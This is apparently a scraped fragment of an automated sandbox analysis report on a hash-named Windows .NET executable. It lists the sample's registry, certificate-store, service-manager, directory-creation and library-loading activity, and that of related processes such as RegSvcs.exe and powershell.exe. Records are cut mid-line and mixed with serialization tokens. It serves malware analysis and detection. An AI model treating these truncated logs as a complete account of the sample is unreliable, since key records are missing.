"HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")4a:Te3c,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" queries volume information of "C:\8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" at 00000000-00003968-00000046-4729929 "RegSvcs.exe" queries volume information of "C:\" at 00000000-00004636-00000046-3490900 "SearchIndexer.exe" queries volume information of "C:\" at 00000000-00004520-00000046-2024156 "SearchIndexer.exe" queries volume information of "C:\ProgramData\Microsoft\Search\Data\Applications\Windows\MSS.chk" at 00000000-00004520-00000046-11020154 "SearchIndexer.exe" queries volume information of "C:\ProgramData\Microsoft\Search\Data\Applications\Windows\MSS.log" at 00000000-00004520-00000046-11022540 "SearchIndexer.exe" queries volume information of "C:\ProgramData\Microsoft\Search\Data\Applications\Windows\MSS.log" at 00000000-00004520-00000046-11023671 "SearchIndexer.exe" queries volume information of "C:\ProgramData\Microsoft\Search\Data\Applications\Windows\MSS.log" at 00000000-00004520-00000046-11026300 "SearchIndexer.exe" queries volume information of "C:\ProgramData\Microsoft\Search\Data\Applications\Windows\MSS.log" at 00000000-00004520-00000046-11166054 "SearchIndexer.exe" queries volume information of "C:\ProgramData\Microsoft\Search\Data\Applications\Windows\MSS.chk" at 00000000-00004520-00000046-11166716 "SearchIndexer.exe" queries volume information of "C:\ProgramData\Microsoft\Search\Data\Applications\Windows\MSS.log" at 00000000-00004520-00000046-11171905 "SearchIndexer.exe" queries volume information of "C:\ProgramData\Microsoft\Search\Data\Applications\Windows\MSS.log" at 00000000-00004520-00000046-11202825 "SearchIndexer.exe" queries volume information of "C:\ProgramData\Microsoft\Search\Data\Applications\Windows\MSS.log" at 00000000-00004520-00000046-11224481 "SearchIndexer.exe" queries volume information of "C:\ProgramData\Microsoft\Search\Data\Applications\Windows\MSS.log" at 00000000-00004520-00000046-11225037 "SearchIndexer.exe" queries volume information of "C:\ProgramData\Microsoft\Search\Data\Applications\Windows\tmp.edb" at 00000000-00004520-00000046-11447634 "SearchIndexer.exe" queries volume information of "C:\ProgramData\Microsoft\Search\Data\Applications\Windows\MSS.chk" at 00000000-00004520-00000046-11650844 "SearchIndexer.exe" queries volume information of "C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb" at 00000000-00004520-00000046-11652156 "SearchIndexer.exe" queries volume information of "C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb" at 00000000-00004520-00000046-11657213 "SearchIndexer.exe" queries volume information of "C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb" at 00000000-00004520-00000046-11722404 "SearchIndexer.exe" queries volume information of "C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\Indexer\CiFiles\SETTINGS.DIA" at 00000000-00004520-00000046-13187486 "SearchIndexer.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local" at 00000000-00004520-00000046-14455769 "SearchIndexer.exe" queries volume information of "C:\Users\%OSUSER%\AppData" at 00000000-00004520-00000046-14456240 "SearchIndexer.exe" queries volume information of "C:\Users\%OSUSER%" at 00000000-00004520-00000046-14456656 "SearchIndexer.exe" queries volume information of "C:\Users" at 00000000-00004520-00000046-14457082 "SearchIndexer.exe" queries volume information of "C:\" at 00000000-00004520-00000046-14457499 "SearchIndexer.exe" queries volume information of "\\?\Volume{e47f4f43-d863" at 00000000-00004520-00000046-172300044b:T4db,"RegSvcs.exe" queries volume information of "C:\" at 00000000-00004636-00000046-3490900 "SearchIndexer.exe" queries volume information of "C:\" at 00000000-00004520-00000046-2024156 "SearchIndexer.exe" queries volume information of "C:\" at 00000000-00004520-00000046-14457499 "SearchIndexer.exe" queries volume information of "C:\" at 00000000-00004520-00000046-17301298 "SearchIndexer.exe" queries volume information of "C:\" at 00000000-00004520-00000046-17302293 "SearchIndexer.exe" queries volume information of "C:\" at 00000000-00004520-00000046-19250188 "SearchIndexer.exe" queries volume information of "C:\" at 00000000-00004520-00000046-38463800 "SearchIndexer.exe" queries volume information of "C:\" at 00000000-00004520-00000046-39939447 "SearchIndexer.exe" queries volume information of "C:\" at 00000000-00004520-00000046-39941397 "SearchIndexer.exe" queries volume information of "C:\" at 00000000-00004520-00000046-55763153 "SearchIndexer.exe" queries volume information of "C:\" at 00000000-00004520-00000046-58887521 "SearchIndexer.exe" queries volume information of "C:\" at 00000000-00004520-00000046-66926851 "SearchProtocolHost.exe" queries volume information of "C:\" at 00000000-00000412-00000046-292127514c:T890,Found registry modification API: "RegCreateKeyExW" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry modification API: "RegLoadKeyW" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry modification API: "RegCreateKeyW" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry modification API: "RegCreateKeyExA" in file "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" Found registry modification API: "RegCreateKeyTransactedW" in file "00000000-00004520.00000001.74685.00051000.00000002.mdmp" Found registry modification API: "RegCreateKeyEx() failed, ec=%d" in "00000000-00002220.00000000.70553.40001000.00000020.mdmp" Found registry modification API: "RegCreateKeyExW" in "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp" Found registry modification API: "RegLoadKeyW" in "00000000-00002972.00000000.72622.00001000.00000020.mdmp" Found registry modification API: "RegCreateKeyExW(HKLM,%s,...)" in "00000000-00004504.00000000.72490.00001000.00000020.mdmp" Found registry modification API: "RegCreateKeyExW(HKLM\%s,%s,...)" in "00000000-00004504.00000000.72490.00001000.00000020.mdmp" Found registry modification API: "RegCreateKeyExW(HKLM\%s\%s,%s,...)" in "00000000-00004504.00000000.72490.00001000.00000020.mdmp" Found registry modification API: "RegCreateKeyExW(HKLM\%s\%s,%s,...,[%d])" in "00000000-00004504.00000000.72490.00001000.00000020.mdmp" Found registry modification API: "RegCreateKeyExW(HKLM\%s\%s\%s,%s,...)" in "00000000-00004504.00000000.72490.00001000.00000020.mdmp" Found registry modification API: "RegCreateKeyExW(%ld,%s,...)" in "00000000-00004504.00000000.72490.00001000.00000020.mdmp" Found registry modification API: "RegCreateKeyExW(%ld,%s,...,[%lu])" in "00000000-00004504.00000000.72490.00001000.00000020.mdmp"4d:T5d1,Found reference to API "OpenSCManagerW" (Indicator: "OpenSCManager"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "QueryServiceStatusEx" (Indicator: "QueryServiceStatus"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "OpenSCManagerA" (Indicator: "OpenSCManager"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "OpenSCManagerW" (Indicator: "OpenSCManager"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "EnumDependentServicesW" (Indicator: "EnumDependentServices"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "QueryServiceStatus" (Indicator: "QueryServiceStatus"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "OpenSCManager failed." (Indicator: "OpenSCManager"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp")4e:Td68,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "")4f:T7b0,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\1FB86B1168EC743154062E8C9CC5B171A4B7CCB4"; Key: "BLOB") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\902EF2DEEB3C5B13EA4C3D5193629309E231AE55"; Key: "BLOB")50:Tb0a,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00003968) "powershell.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00001268) "powershell.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00001268) "RegSvcs.exe" called "CreateDirectoryA" with parameter %APPDATA%\Microsoft\Windows\Templates\%OSUSER%-PC-%OSUSER% (UID: 00000000-00004636) "SearchIndexer.exe" called "CreateDirectoryW" with parameter %WINDIR%\system32\config\systemprofile (UID: 00000000-00004520) "SearchIndexer.exe" called "CreateDirectoryW" with parameter %WINDIR%\system32\config\systemprofile\AppData\Local (UID: 00000000-00004520) "SearchIndexer.exe" called "CreateDirectoryW" with parameter C:\ProgramData (UID: 00000000-00004520) "SearchIndexer.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft (UID: 00000000-00004520) "SearchIndexer.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\Search (UID: 00000000-00004520) "SearchIndexer.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\Search\Data (UID: 00000000-00004520) "SearchIndexer.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\Search\Data\Temp (UID: 00000000-00004520) "SearchIndexer.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\Search\Data\Temp\usgthrsvc (UID: 00000000-00004520) "SearchIndexer.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\Search\Data\Applications (UID: 00000000-00004520) "SearchIndexer.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\Search\Data\Applications\Windows (UID: 00000000-00004520) "SearchIndexer.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\Search\Data\Applications\Windows\GatherLogs (UID: 00000000-00004520) "SearchIndexer.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex (UID: 00000000-00004520) "SearchIndexer.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\PropMap (UID: 00000000-00004520) "SearchIndexer.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex (UID: 00000000-00004520)51:T9042,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\IMM32.DLL (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\a891970b44db9e340c3ef3efa95b793c\Microsoft.VisualBasic.ni.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\gdiplus.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00003968) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "LoadLibrary" with a parameter WindowsCodecs.dll (UID: 